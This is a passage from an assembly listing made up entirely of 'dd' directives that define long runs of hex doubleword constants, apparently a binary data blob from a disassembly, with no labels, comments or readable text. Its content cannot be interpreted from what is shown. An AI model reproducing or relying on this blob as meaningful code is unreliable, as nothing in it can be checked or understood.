9F29A028h, 0B89DE74Ch, 793A12h, 0E1BB342Eh dd 0E96A9BEEh, 0C5D00D5Eh, 0BB97FF5h, 0E8313DEAh, 4BAC6F51h dd 0D2399202h, 2505560Ah, 0BF02ADF2h, 2420440Bh, 6449FE47h dd 7861EE3Ch, 0C446CF87h, 0B8500108h, 26490A79h, 47C92009h dd 0B3310E40h, 8569657h, 55A9E7C1h, 0CA3A3709h, 0A7848DDh dd 89840B80h, 5156F701h, 0E9F5EE4Eh, 5B2323D2h, 0A12DF25Dh dd 401168A6h, 0D3C44868h, 4550988h, 0D4163154h, 3E78BC27h dd 29199209h, 4F2155E4h, 540DB332h, 0A54048F2h, 0D5892D5Dh dd 0E61685F8h, 7BBC0D1Ah, 594AB403h, 84E40126h, 0E908056Ah dd 8891A074h, 0AD71B8C4h, 6FC98100h, 39589A4Ch, 0D5550549h dd 0F603A182h, 10CBCAE9h, 0C75F4FD1h, 0DE8B5A5Dh, 2DE748C8h dd 59AF9A45h, 4FE508F8h, 503E17A8h, 7408A5E9h, 10CD965h dd 828FDEFDh, 46CF312Ch, 0AADAC124h, 87823327h, 0B1E65F3Dh dd 0D011AF6Bh, 812FE770h, 595D5C9h, 9046E609h, 1690CA54h dd 456936h, 2BEDD438h, 0C64DE923h, 40C94B16h, 7321AB79h dd 0C256E985h, 2E97A321h, 0A3003471h, 0F721D105h, 35608D2Bh dd 6794402Bh, 0E5E3335Ch, 0C0982CF0h, 7E0C148h, 16027F35h dd 0E20199AEh, 1F8FD285h, 0E5E9F613h, 0D42E47BBh, 6728E947h dd 5EC9C819h, 945808FFh, 8786983Ah, 1E6AC6C5h, 0CB73B344h dd 86798C3Eh, 0B7015513h, 319D2BEFh, 956564FDh, 36BB5696h dd 21274B00h, 177B00EBh, 0F20AE007h, 565948CBh, 452EE501h dd 71DF0144h, 97C8FA2Ch, 114EEE80h, 5C7B18ADh, 55A0853Eh dd 1B1344BDh, 31A82F34h, 34B0F0Eh, 7410C5C0h, 0FE90772Dh dd 8B68DF09h, 5E796254h, 4A5700CCh, 8D3544F8h, 183B7516h dd 0EF3821B1h, 0DECDA84Bh, 0E6072C09h, 16995A5Eh, 79670B9Bh dd 0F927D5D6h, 40684120h, 0C4662867h, 25EBF9D2h, 320C82B9h dd 5F7BC954h, 4ED32A6Ch, 0ACD693E3h, 0E3B9F458h, 13A56084h dd 8828E1B1h, 0B68781B4h, 93F472B4h, 5CC068ACh, 0B050C5FEh dd 0A2284D28h, 70180427h, 738BE905h, 1D4969E9h, 0D94CE4C2h dd 51010E3Bh, 290803D0h, 65F8E9F1h, 92827EACh, 9D225073h dd 70952EB4h, 12C983Ah, 38BF6C6Fh, 0E599407Eh, 3A1A25F5h dd 9824779Ah, 89AD9D36h, 547CCC25h, 0A6F45447h, 0FA43E5D3h dd 4D56FAh, 61D12D59h, 12C19CBh, 873955F0h, 81773537h dd 360C69B0h, 0D874C127h, 3AA29421h, 2D5EBA00h, 65760280h dd 1F05122Eh, 78040007h, 9D683859h, 85134259h, 39BAA50Ah dd 7C9C6E1Fh, 0F8E5BF5Ch, 3170AF9Fh, 3D1BF9C6h, 0A99702ECh dd 0A27FE4E2h, 0DFB35E26h, 0B490E22Fh, 665C1621h, 710CA83Bh dd 0BC2B2B50h, 3AB61F18h, 0F5FB00Ch, 90E93BB4h, 4437EB92h dd 0A813A3D4h, 0B7FC506Dh, 0A85B6D07h, 204FDD31h, 9C3666EDh dd 6F09162Ah, 419F051Ch, 1B58E285h, 0EA9F01BAh, 30C70F9h dd 80C3285Ah, 613F8EBh, 0ADA16629h, 290209EAh, 9A9030B3h dd 4B32710Ah, 0FCD9427Eh, 6C5C8247h, 0D0DA493Eh, 53BE105h dd 22C70952h, 0D872618Fh, 0D26CF917h, 652D0660h, 0E09DA823h dd 984E4DB4h, 82FA9485h, 3CEC521Fh, 5B041042h, 1971D129h dd 0C1CA3830h, 3E7C3C33h, 0E717807Bh, 0E0B7C651h, 121F386Fh dd 0BB89348Eh, 4E31722Ch, 0C457F2D3h, 56949DC0h, 0C04F4592h dd 277B9932h, 8B5E5E74h, 0A845E904h, 0A38A61EAh, 97B72A01h dd 160FBC50h, 0F97E1117h, 68084167h, 0DE28DAB1h, 0AA5C4294h dd 0D69D5E04h, 2E80A500h, 445F5B6Bh, 0A0BF65Dh, 0D9BA61BEh dd 0A3B84ED9h, 453A3110h, 0C69DFCEDh, 0D89C14B6h, 9F519D60h dd 0A0175C9Fh, 595B2641h, 673DCA30h, 6750681Fh, 15E39874h dd 0C3EF0322h, 73944B7Dh, 9D0A89Ch, 2BD027E3h, 0E75305E2h dd 7C81610h, 316F57C2h, 7003CEDh, 28FB015Dh, 32F80388h dd 0BEA483DEh, 0FE8EEA55h, 2D91A65Dh, 0BF90718Bh, 9197873Fh dd 50705582h, 28F44ED0h, 0B744595Eh, 0CB5F4FFEh, 0F794CB2h dd 0F2C8310Eh, 57E8A7ACh, 685F5806h, 976B10EAh, 885AB8A0h dd 594C66EEh, 0F61302F8h, 61D60CD8h, 2CBE03D4h, 0F7CDF655h dd 8987ECC7h, 0B708FE26h, 0D19D5714h, 63684292h, 1AC6C65Dh dd 7CB530E9h, 0BEC11F84h, 0D1014091h, 0DCB6AAFBh, 0F5A9EF97h dd 4ED3C05h, 12DF47B0h, 9D1444FFh, 0AB680230h, 9CEE711Ch dd 0F66EC088h, 6E8C0D0h, 0DB415AB0h, 11B7CB40h, 81360007h dd 0CB3150E5h, 0ED1BC143h, 0A0144506h, 16091E0Fh, 0E3E078E9h dd 7F575F84h, 522C8Ch dd 2F509A68h, 0CA815A7Eh, 0C873FD09h, 0F647803Ch, 0B4238821h dd 0BACD0902h, 58611F20h, 0F1FE66A0h, 0C9815E02h, 0E14216E7h dd 0B288E16Dh, 880BA6B3h, 40D989E5h, 91ABF39h, 4F63C717h dd 24D7E002h, 0CFB0D8E3h, 28F0156Bh, 60E7C12Dh, 5608376h dd 0D4E946B2h, 171FEDFh, 21608864h, 0BD825274h, 32610F04h dd 3913EA5Ah, 0C693EECh, 0C0F6A500h, 0CCA3B464h, 7AECB64Bh dd 0E92559A6h, 2D8B51h, 5649D909h, 0D8F70020h, 0A525E0D1h dd 786EA42Ch, 0AB81D70h, 84F02938h, 657AC200h, 2DE91AE0h dd 0C6722A57h, 5DC1DC62h, 1956729h, 0C33C472Dh, 5A12E69h dd 0B7F00705h, 913225E9h, 22BD5CE4h, 72EE1732h, 515F0960h dd 4D034211h, 45B00114h, 2E4B79E9h, 37F7DA44h, 8C1D0412h dd 122895E3h, 124F9108h, 0DA174110h, 0C7DD2A33h, 97F66CECh dd 2F354426h, 1D811E9Eh, 5D0B2636h, 3A031628h, 297F9346h dd 0A2C0AF4h, 5A57558Eh, 80CF4894h, 6DE67E6h, 72EE63D8h dd 812D0C20h, 337CD4F2h, 0BBE55925h, 0E630548Bh, 0F8C597B3h dd 0AE8899AEh, 0D0300B94h, 0E9617E79h, 413FE043h, 770BF10Ah dd 52986405h, 89837997h, 0AA82DA89h, 8707D2D7h, 85E0459h dd 2A27A001h, 0BA6D206Ch, 7DF3141Fh, 37BEF703h, 0F901B0FBh dd 127C4FE9h, 109DF665h, 1E583ACCh, 2DA39D2Ch, 0E07E0608h dd 0FD25CDB8h, 0E6E9380Bh, 242DD9E4h, 9EE02584h, 0DD5F3548h dd 5AAC0C4h, 0FB5BECBh, 92E4693Bh, 7140EC42h, 0E69AB1FEh dd 31215F39h, 80C2E41Ch, 0C1F76707h, 0CC6FC120h, 102F6807h dd 0F4721B28h, 8180A3E8h, 975A6532h, 35A0764h, 0C0EC1994h dd 0A4E20BA4h, 400236D2h, 0BF035A25h, 0F6B85F7Eh, 2BD71AE9h dd 82EBAB8Ch, 5F9C3255h, 0BF05BA9h, 0B0972EB1h, 4BAF8B0h dd 21911533h, 7CC0AE01h, 654816EEh, 0FFF712E1h, 5F417979h dd 0C402A71h, 4EE7FA3Eh, 2300A0A6h, 5FCD295Fh, 93D7D37Ah dd 206827A1h, 6D1D0811h, 0EBCA2049h, 0BEC0EA76h, 717BEA2Eh dd 3D79160Dh, 9B1AC17h, 70509073h, 292B4D41h, 20D22C00h dd 0F68058C6h, 0CB30637Dh, 0F7DE7D1Ch, 0BA08DDD3h, 530B3FC8h dd 5802CEE3h, 0B70386F0h, 3C07B929h, 1CA1CA7Ah, 68C5F9F7h dd 71EB49D4h, 28DF5AC4h, 0D1CDC4ABh, 0AC400112h, 0EC0127DAh dd 0A9831885h, 647C9484h, 0F7D4C9Fh, 0F1B0FDF5h, 0F471ED05h dd 0E7435B85h, 5B99ADE9h, 58A98F32h, 40E5C9B1h, 78015ECEh dd 898627C3h, 7EC1143Ah, 0BA6600CBh, 2E76743Dh, 105ED029h dd 870B7BA2h, 5E02AE1Eh, 0F841AE5h, 0EBE90F87h, 681768D0h dd 0DB3214F7h, 0F2364153h, 2F0171BBh, 29A5BCFDh, 8014F5CFh dd 745DBDC5h, 2B921D3h, 115F1B43h, 0BE62E931h, 12FC7E84h dd 400C1EBBh, 214BC677h, 570259CEh, 0B0658DBFh, 2639C023h dd 7CC5083Dh, 0EF01F729h, 0D9A0239h, 0FE80C8Eh, 748058ABh dd 0F789575Fh, 0EBD86C8h, 0C807E22Ch, 7E504904h, 0D8284A1Dh dd 0C5BC5B97h, 5F92C110h, 0A2017BF0h, 4E16DFCEh, 3C0E134Fh dd 290378B8h, 0A6EEB547h, 0EE0330B5h, 0C7B39519h, 12B465D3h dd 0B8E70E1Eh, 0FAFB21ABh, 40C75A61h, 287CAB64h, 92B5495Eh dd 0B2F3005Eh, 247DA04Bh, 7DEEE83h, 0DEE6D1DEh, 0C826FFE0h dd 1F27E943h, 58E03CEBh, 0F35B5F68h, 0CAE90CAFh, 1E30C12Ah dd 8C12471Eh, 5C4AE565h, 3F8AFFA0h, 50452BB6h, 6BC0E21Fh dd 35B816E1h, 1D282FC3h, 0B9443751h, 2DAF8995h, 0F03C2EAAh dd 0AB0F2D66h, 24E96A28h, 0F9A0C2A2h, 585D5000h, 2D0012Dh dd 0E82960D7h, 0AF074505h, 16EA0531h, 6FF5E47h, 7427DCEh dd 362FA9BFh, 0D00FA44Ch, 52442CFEh, 289DB232h, 0B0F809AFh dd 720B4CA0h, 0B432492Eh, 10D0F19h, 4227F02Ch, 0BBDF5989h dd 88D54520h, 7C1DA33Ah, 1A4787D6h, 4E056644h, 0BE4C087h dd 0EC0229AEh, 0E292A9E0h, 40D41782h, 44E37E25h, 0A41A8741h dd 0BCD8AEF4h, 0F43B5E68h, 0F55505C0h, 0E11061ECh, 5E898047h dd 926CA35h, 250A9014h, 57DE9D67h, 0C1E15951h, 20256808h dd 70EED453h, 804A2C1h, 0D9015355h, 3469F180h, 4F5E2C1Fh dd 1781C0Dh, 0D7F7156Ah, 0C7148047h, 675F090Bh, 9084FE9h dd 9B7D58C4h, 0C88D0571h, 0BE4CD411h, 0F2300702h, 2FD4547Eh dd 3BD3F970h, 64123452h, 0B292C4EDh, 69C7CA04h, 51619089h dd 0A02B919h, 464E590Fh, 9EB01077h, 59030F0h, 826C533Ch dd 40982598h, 0E908EF50h, 5905ED27h, 113B2C6Ah, 90A24FEEh dd 0C09EBD8Ah, 0E54300Ah, 2A885A1h, 1414051h, 0B953B63h dd 88B85080h, 0C16DD42Ah, 0F708E800h, 6C2605D0h, 3271F990h dd 4788DC45h, 64F302CBh, 0EBC10293h, 7899E0E3h, 1EC20F7h dd 0EFE9DF12h, 77B2EBE0h, 0C49D5AF6h, 1E67BC5Ah, 99932554h dd 76BB6F52h, 65BFCD25h, 0ED02BFD9h, 1D965518h, 7B5721E0h dd 0C54B142Eh, 810ABEA4h, 0C340BC5h, 865F1709h, 0B7462FEAh dd 0B579142h, 0BF7AF6D7h, 0D0D45FF9h, 0BF02AF96h, 0D929D925h dd 8FD8CB52h, 43FC1E1Fh, 3FF3F101h, 0EAF20A9Fh, 2FDE569Dh dd 0FA54A6C4h, 685156DDh, 0D3F34222h, 6C967AF6h, 0E4C77CBCh dd 815DD50Ch, 0A77B9EEAh, 5A4FF498h, 265B24C8h, 0C92B1B9Fh dd 9433AE43h, 3A59540h, 81210734h, 7CD09ECAh, 0AB5DE90Fh dd 5E680BECh, 8B38D11Ch, 96711598h, 3ED45E47h, 0DD7AA1F1h dd 982A30ECh, 66DC6716h, 13977708h, 82290B54h, 0C3BED561h dd 59893127h, 0A766942h, 50CBE947h, 0DB479D77h, 52272032h dd 6AC10925h, 8957658Eh, 0C2C954B9h, 0D1029FAEh, 3AB560EEh dd 661F1867h, 1BB8B246h, 0BCAADC26h, 0E96157AEh, 352B202Dh dd 6BF4BDAEh, 4771FC0Eh, 2EAA29D2h, 0F97F07D7h, 10C28A98h dd 0C46625ECh, 7AB825A9h, 4E30DEF1h, 0BE5DE568h, 116E6234h dd 5F5ACF56h, 82253547h, 680D036Bh, 9D46D038h, 0C795E0B4h dd 0B22A98h, 22CA188Eh, 0E184E3BAh, 79E1864Fh, 1E84C16Fh dd 4FE05B4h, 80E82402h, 0A847EDB0h, 0E90BDC09h, 22FB561Bh dd 5E45B5E0h, 4309388h, 0E8DA0158h, 8DABA4CFh, 9CF4FF39h dd 51605A77h, 3AE957D0h, 62408223h, 8F3DBA16h, 9F7C9655h dd 7E10B48Ah, 4FF04EE1h, 811F9C2Eh, 6668F3C5h, 1DC0EC2Fh dd 0F60CCE9Fh, 24935ADDh, 0DFACFCEFh, 2F81E496h, 7305F54h dd 90020BC7h, 0BA804957h, 7C62A4Ch, 0D536BEA0h, 0E9A82904h dd 4161AD0h, 17E33DADh, 0FD135FE3h, 3E61AF5Fh, 8A2D39CDh dd 96778A9Ah, 0D1E92769h, 0CA09FDC0h, 0AEA0BFA5h, 57FCFF4Bh dd 139F5624h, 5F8FC8D9h, 1A007D90h, 50420A74h, 0C479D6E9h dd 0A077BB20h, 0C32C81BDh, 601DD9C6h, 89BEF381h, 0EAF0DC4Ah dd 2D050447h, 84DA296Fh, 5B0809D3h, 57518582h, 0BD7F4D40h dd 24577058h, 0C307FEE7h, 765C17Ah, 0E7EEDC2h, 0D75C1D9Ch dd 0D5E78716h, 899B45FEh, 0D68CC2F5h, 0E3407722h, 33A948B5h dd 0CCC05F16h, 78BE84C7h, 0ED78FD0Ch, 0A395A0C3h, 0A893969Bh dd 342F0221h, 4E462EB6h, 7B86EC5Dh, 0E70E16E6h, 2AD3004Ah dd 0E90AA604h, 0D6A4Dh, 0B35491BFh, 0BEFD163h, 3FD7CF81h dd 40F125Ah, 0B7B0747h, 0A03B4BC9h, 5CC36D0Ah, 0FB026263h dd 4F244B0Eh, 0EFF1105Dh, 31F009A2h, 3F601BDh, 0B65AF1A8h dd 7C60B041h, 0B02E77A3h, 3705352Ch, 2D0A436Bh, 50AF16C1h dd 48BA3FD4h, 8A133BAEh, 0E6D4B47Fh, 2D68E040h, 818262Fh dd 9EAC786Bh, 2E5C003h dd 0B53ACD80h, 5BC5C7B0h, 37D841A9h, 50353F27h, 6A9A1292h dd 0CFBDE93Ch, 0F4A1ABBCh, 65E007C3h, 4C62BA13h, 202C2440h dd 3E5428B3h, 1F9685F5h, 7358A873h, 74E9C209h, 989075DDh dd 854F0434h, 0F474CFECh, 0DDF5Bh, 80F8B652h, 0C6E67BE6h dd 0CE7D0E76h, 0E9C006C7h, 95ACF0F4h, 0E2DE139Eh, 5026077Eh dd 6B3635Ah, 80174E9Eh, 1D4210E0h, 48F1035Dh, 0ABB01730h dd 34F7B820h, 356E0923h, 0AD465753h, 772BB04h, 99BA3EAAh dd 68847B26h, 0CC82CAAAh, 49E9335Ch, 0B55EEA0Dh, 0EE626BB2h dd 5CAA62C7h, 9430256Dh, 61828A4Dh, 0A33EE6D8h, 11C5505Eh dd 1A5D7B10h, 72EBEF02h, 0E175194Eh, 2D69B55h, 2ACAF868h dd 24D2147Dh, 2C1958C6h, 0C91D4F19h, 82D4E3A8h, 62C48D44h dd 58C020BBh, 241347C7h, 8E140686h, 49E06FDFh, 1F5FDB29h dd 554E6027h, 3681CFF9h, 404A5B4Dh, 2F2C4981h, 4182589Dh dd 0B3C82B8Bh, 0C8283C62h, 0CDDC1E66h, 2FF70E90h, 0C8D9AACDh dd 9FD0A572h, 0BF1CCE84h, 815E81CAh, 29357540h, 5CA99A5Ah dd 605D5903h, 3B402156h, 0B971FE68h, 4C566CAAh, 0CFF2F85Ch dd 9DE22A5Eh, 0DA135D96h, 12BE5FEAh, 0A2C25235h, 0D48C9FF7h dd 0AC51D8Ch, 7D70EA6h, 421E1C98h, 0C1015BF4h, 5434925Eh dd 9FD70B1Dh, 5BD14BA0h, 0EFC740E7h, 3AF39FCh, 40FE8926h dd 0B159D010h, 68B9044Bh, 0E06DBF5Eh, 0D607B22Eh, 7C861F4h dd 12E8C159h, 0D84E6E31h, 0E908C38Ch, 5FD6DA54h, 502DC8BBh dd 72A85ACh, 748EB80h, 745D5EC3h, 0E77D8110h, 0C0D96F2Bh dd 5532060h, 2D36FEBBh, 0B00AF3Ch, 6FE46855h, 3EC24CD3h dd 40E9EB0Ah, 5F5989C8h, 1070BCFEh, 205D81FBh, 32BACE9Bh dd 0EB87D30Bh, 625C0B45h, 0FFDD5A72h, 9B8A06B4h, 27872006h dd 5A40D3E9h, 33EEB7B5h, 69E8354Fh, 68F9F7A0h, 0EF06AA24h dd 8534406Bh, 0F3098275h, 5DD5A2F5h, 6B7BF65Bh, 0E90975D9h dd 0F3F3E9D5h, 0F25A5E32h, 75DAC9E6h, 0BCE94402h, 3B58AAE9h dd 0B24AB9CAh, 42EF8BCAh, 7475518h, 0F9E9E805h, 747C993h dd 0B642CB3Ah, 0CFB7C21Dh, 5A220BE8h, 1D877749h, 7ED2131Eh dd 749C0F00h, 7D0955A2h, 12225AD1h, 5624AB33h, 57A4E509h dd 2FCA4C9Bh, 0E0F19090h, 333E7403h, 0F1CB8953h, 6C7BC69Ch dd 414AE9A9h, 0DFA8E213h, 0E98430B4h, 33A0FDDDh, 40136974h dd 0ED44514Eh, 32EF2B68h, 56DC5440h, 0E97C5E5Ah, 26C287F4h dd 86590432h, 0BF85EF8Dh, 0FA03ECA7h, 2AC181F6h, 18CF1204h dd 68ED98BBh, 2F6E6B31h, 5539283Dh, 2E377E10h, 0D2135431h dd 782A6D0Bh, 2DE2807Ch, 0EF5D1C09h, 47ADFA6Eh, 3C585069h dd 20E24A57h, 0AE154CC1h, 1B43035h, 0D60BFF8Ah, 1F479406h dd 96BFF0FAh, 0E305209Bh, 0CEBC646Ch, 0ADC74FF4h, 0B1A4B469h dd 32735EF5h, 0C78F9C4h, 79F66825h, 21B58023h, 0EC2850B4h dd 0BC402490h, 7694B031h, 0CFD0B478h, 0EB76C049h, 68E808AAh dd 6439E52Fh, 0D95258E2h, 2BB5E14Bh, 7899F29h, 0E6F85FE9h dd 0CFA2E6B5h, 0AA73C63Ah, 89147128h, 71D7AF8Ah, 505A6223h dd 5FB0E27Dh, 48025365h, 0E01DC04Fh, 0BF276E71h, 68C2A91Eh dd 717D8768h, 800CB2FFh, 0EE03D77Eh, 2C44EE9h, 7DB6EFBDh dd 48406B36h, 213E6D38h, 4CE70729h, 181C3541h, 152316BAh dd 52AD1318h, 92FDE9E6h, 0CA4D7CE7h, 0C4D04D3h, 4FAEA2BDh dd 1D5F7BBCh, 0F2A652DAh, 595413C6h, 11779AAh, 34F481h dd 3D61FD2Dh, 4E797B72h, 2F36D17Dh, 825C210Ch, 0D78FE64Ah dd 3DEDF949h, 1FAAEA83h, 7CD91166h, 0EDA32FEEh, 995B899Fh dd 17EEFF7Ah, 0F531ED5Fh, 0B739E5ABh, 0E14E9702h, 0F2F83165h dd 5CAADA20h, 0DA404A66h, 21AB932Eh, 0C9F19F8Fh, 0AE760807h dd 0E2626BEFh, 18CC57C8h, 45FB60Eh, 51F003E5h, 0B53BC052h dd 0C5803974h, 2AED0D73h, 0D610F528h, 0C05AA10Fh, 68003E5h dd 0EB75305h, 84594AE9h, 66AD4A7Eh, 0C210EA88h, 0A992CC93h dd 0BDFF80B7h, 5C6A782Ch, 2F7C5526h, 0D0648B46h, 2BB58B90h dd 90565190h, 0E9560483h, 56AB9A5Ch, 49331EF0h, 0A99407C2h dd 976AEC95h, 28291AE6h, 0DE039918h, 0B2CD9569h, 89CCD144h dd 0A5A023E9h, 840FC23Bh, 0C52ADE20h, 0AC7F4B82h, 15BCC469h dd 0A14B8BB7h, 38E631C4h, 229CC1C2h, 84641031h, 0CEDD1367h dd 980DC7EFh, 27C6D327h, 0E9782374h, 0AEC49247h, 5FFB2598h dd 0F720FA6Ch, 5CE3E0F8h, 0B67A9D58h, 3C68848Dh, 0F05FC943h dd 19BF91FAh, 49359AA8h, 4A4C012Fh, 83132435h, 0AA5B570Ch dd 19F7E050h, 69970944h, 9AD5B768h, 14DF6099h, 28BD001Ch dd 0CB2CA81h, 0F2EC491Eh, 0ED0DCC16h, 18021BF8h, 523BEB48h dd 5A61BFF0h, 0E72EA622h, 2BEE21h, 5EE8E644h, 498579Ah dd 0A2025C14h, 1C616A3h, 46350C8h, 31EDDF7Ch, 4056C5F7h dd 5AF028F6h, 35F45166h, 0BC5BCA40h, 0AA8B49F3h, 0E9126CBEh dd 604070CAh, 6D334E43h, 5DEF2889h, 0F64474C1h, 7A8EA02Ah dd 6BBB2578h, 0C4827474h, 7E4CD41Ah, 1848813Eh, 3F89DEE7h dd 4EE924A4h, 47B7F49Dh, 0D0CA2007h, 4F772612h, 0C6410370h dd 57F73F61h, 74E3E909h, 0A7C7BABh, 0C05A61A1h, 28C16373h dd 1A2270Eh, 2E477554h, 3142E9h, 625225BDh, 0EE5C668Bh dd 7D849A5Dh, 503FD5E9h, 5EF868A0h, 0DFC4C9B5h, 0B6068004h dd 1812715Dh, 221CE5C1h, 41550B17h, 535080CFh, 2C523E68h dd 170E7C31h, 85B6F986h, 0D45FB8D4h, 36702CDCh, 5A5AF388h dd 78FDBD58h, 99B55C4Ah, 0F222EE51h, 0D0E6CC6Bh, 56A8119Ch dd 6C55F880h, 8B641718h, 9F545722h, 0F925C25Bh, 9DA4236h dd 614A1275h, 0F32AE8C4h, 0C7271019h, 7F010538h, 0D82932F4h dd 1207452Dh, 1052AB84h, 202D9CE8h, 10478609h, 17685C82h dd 0FB9B757Ah, 2B0709C9h, 5EE4DA8Ch, 0E6FDD0C0h, 6050DC23h dd 551682F2h, 0A5E02CDDh, 0A7731C92h, 5121430Dh, 1DD078D4h dd 2D300F3Dh, 6F8CA8F7h, 29CA0045h, 0EAC158C2h, 0E2068103h dd 4D65772Ch, 1738090Ch, 0CD033F66h, 0AF951004h, 0EEBA07C7h dd 0AE20D9A0h, 3578C0F4h, 5D7163FBh, 240564C0h, 0B7AA7E44h dd 58D6E30Bh, 53FA2212h, 287AB888h, 0F195CAC3h, 4CE9708Bh dd 0E4C0A2A8h, 7660258h, 15E68007h, 0AD7CDE4h, 502EC780h dd 43205B0h, 0C3C0FE9Eh, 79016F01h, 685557E2h, 50ED4748h dd 4BBAFC30h, 0BD8281Fh, 7D348E69h, 1FFEC396h, 0DFA51541h dd 0F2C8C5F6h, 3B4468C1h, 2C8BA3Ch, 681C794Bh, 997F093Fh dd 7A605AB2h, 0C895CB80h, 488D4D5Dh, 0C5204529h, 56535C01h dd 0CC6F24BEh, 0C0EFB844h, 1BFCB60h, 53549D06h, 0AC40CFFh dd 0DBB5E94Bh, 4E68BA6h, 0B483355Ch, 0CB5AF188h, 28AFD8D3h dd 0E52C74C8h, 0ABD559E1h, 0E16A0BF5h, 92CB737Dh, 93C06C0Dh dd 0F4EC997Eh, 0D593AFBDh, 0CAD0EB16h, 2E9D48C1h, 0A00997EEh dd 682E40B0h, 3A7B8426h, 1D789688h, 0AA6392ACh, 4C89649h dd 0B6F3EAD0h, 9F0FA45Ah, 0EA8865C0h, 9F28059h, 0D3B551E3h dd 0F54D8257h, 777AE06Eh, 0E922C330h, 0BF3BD778h, 9E3A8781h dd 4FC33B69h, 0E0715BCEh, 705A6CF1h, 0B8D2C3ECh, 3158D8DDh dd 34E85A30h, 489EF42h, 872C2628h, 946D13B7h, 47D2BF4Dh dd 0A3905D5Dh, 44E3DE9h, 1238B4D1h, 9C6AC104h, 0A56C2A98h dd 6605BFF4h, 0DCF665Dh, 530C8399h, 415ACC54h, 0CFCC38FBh dd 2D6863D5h, 58511007h dd 2AE44ADAh, 0BB9567BDh, 1044D0F7h, 0F97E89B5h, 9CA2927h dd 4C514160h, 324C146Ah, 80CEFE03h, 601DFC6h, 5AF4308Fh dd 793C21E9h, 9A765D25h, 587B7698h, 0E4D3168h, 7D55587h dd 16768BA3h, 0D0838C15h, 0F7E2C2E1h, 44B5BE78h, 0B9534F01h dd 8EAEE551h, 4E2F181Dh, 0B67F1361h, 50049848h, 79957CB3h dd 7AE904BFh, 0A152A874h, 332F10DEh, 4E9B407Ch, 51C3AFB4h dd 0A34CB0E3h, 9EBEC1Fh, 35334F37h, 7933A255h, 42F4D47Eh dd 84FD665Ch, 1CB897DAh, 0A573F84Bh, 98861E8h, 619E7769h dd 0CD7AC845h, 0AFC3457Bh, 7A6303CEh, 0E576B97Eh, 0C8F5F0Fh dd 6CCFABE1h, 9F197AB3h, 93BD72DBh, 0BAD015EDh, 139334D6h dd 0B9C5296Ch, 0AADF8484h, 0F2B261FBh, 0CFE76E35h, 6BF6BD02h dd 855F444Dh, 23D1848Bh, 9F44435Eh, 0BAC364C0h, 0F012850h dd 73FE2AEh, 0BB536C3Ah, 7FE3C275h, 0EE82A58Bh, 0C875895Dh dd 2864D024h, 40DE26A9h, 2C130517h, 990412D2h, 0FF1C87A3h dd 0C7E68181h, 0F72B3502h, 45B0A2h, 0AE27D228h, 266D659Ah dd 1D750839h, 0F318582Fh, 2475CB6Fh, 68867BCAh, 4A152CB7h dd 15ABD46h, 36865BA8h, 34D83558h, 0E923126Fh, 0C7B140h dd 75BF578Eh, 477D8DE0h, 5A285259h, 3848F78Fh, 6623F489h dd 9BB935B5h, 0FA719798h, 71AF4565h, 256DE9FCh, 30B62E29h dd 0B462C669h, 1DAA4755h, 1D39B5E9h, 25EECC26h, 5E4C5424h dd 23F31079h, 4A5F5824h, 360D0022h, 8DE90C66h, 5AEE82BFh dd 38B5CD1h, 9009AE23h, 0EAD00DF2h, 2721FB95h, 1E137474h dd 4B2DE740h, 6B03E863h, 0BFE196C1h, 4D97F040h, 0A30F9028h dd 0B82B8909h, 0CFEF401Eh, 873185Fh, 1CC50C44h, 0FCEADC50h dd 29548BFDh, 0CD1804FBh, 0E95BAACAh, 0EE8185A5h, 0BBA40FFDh dd 8C4CB28Eh, 0F641095Bh, 4697C6FCh, 645EEAC2h, 0F0C64A9Eh dd 309F5F00h, 0FEE1F79Ah, 41944F33h, 3A1CE46Ch, 0FDC7D8CEh dd 18170409h, 25A6201h, 41565A08h, 0D3AFF267h, 700253E1h dd 76910891h, 49A08112h, 30C17D88h, 0C965A5A4h, 0F63D3349h dd 4267AD21h, 7C195F76h, 92AD685Ah, 0A739AEACh, 0DFCD3D60h dd 0B5A04765h, 0BAEAB1F5h, 36207D7Fh, 270E98BEh, 0DA591B9Ah dd 1E4963AAh, 6F68171Ch, 3C92EE5Eh, 0E186EA41h, 9EE5CCFEh dd 984E2378h, 1249681Bh, 0C5294B43h, 4E848F2Ah, 23A1FDA8h dd 0A3CC2EE5h, 988BBACCh, 30060B1Fh, 0FCFC5BDEh, 0F028B785h dd 0BAA587BCh, 0D7475404h, 199DE540h, 0BE903E21h, 3029BB0Ch dd 16A81864h, 0E201936Ah, 74E0C08Dh, 0B250A4Ah, 7C9070B9h dd 5B51107Dh, 0FB4CC766h, 39585B56h, 84C308CBh, 0D0B2887Eh dd 0A11DE94Fh, 53032B7Bh, 9DA11BB2h, 48753A68h, 8122943h dd 0B1523382h, 0D7CA550Ch, 62860EE1h, 2DF58BCh, 3D73853h dd 0F101F3FCh, 0EBD315C8h, 0D85FE83Ch, 89978916h, 0DA6733E6h dd 17A5FE16h, 4859CA5Fh, 1EA130BDh, 261BC3B9h, 2D1B7956h dd 0C0E6C22Ch, 4C150CA8h, 7A3BCA27h, 5F08812Bh, 0C8D990A5h dd 0B3C01896h, 275765B9h, 0F2595314h, 0F5088809h, 0E9178014h dd 5CA46B94h, 0A15E7CBFh, 237C5CF8h, 2FF4B807h, 0F0CC1F68h dd 0C758310Bh, 726C17E0h, 6FA2BEFCh, 5E5A10D0h, 0F4B284ACh dd 0FF9CCC52h, 14F20C4Bh, 0CA810D4Ah, 603E69B3h, 122EBDA4h dd 4882AA2Ch, 6020D473h, 7935BF59h, 986798BCh, 0F5088BC7h dd 975ADFA4h, 61305852h, 7AB860E6h, 874011Dh, 0BA20ED05h dd 7E22FD2Dh, 0CBC7511Dh, 0B21AA29Eh, 0AFFE5E2Dh, 9DF52860h dd 84BD5580h, 0AA5E6EF6h, 0B661F731h, 39383832h, 3EE91D2Ch dd 54F4C055h, 0A57D8A8Fh, 16BEED10h, 0A768BC0Ah, 0C2FD2FE4h dd 0CFB5E2Fh, 6EEEC02Dh, 7898FBh, 0BF025E05h, 45F02D29h dd 160830Fh, 7C0794D0h, 4D4411A2h, 8F84FA4Bh, 0E4E432FDh dd 6E4D3844h, 968F8523h, 929EFABDh, 0A90A844Ah, 0DB5CB33Fh dd 0E9F080D8h, 9C396EFh, 95895749h, 0C64F1452h, 674C83EDh dd 2A42292Dh, 2CC4EF55h, 0B57A27AAh, 0C60EE912h, 75204AC9h dd 57B62676h, 9D962E77h, 0CD257208h, 51C579E0h, 494FF43Ah dd 9E35F21h, 9DCF56D2h, 4C02798Ch, 12BA20BFh, 0C416CC80h dd 0BF609591h, 0B36BAB6Dh, 0E3132EC2h, 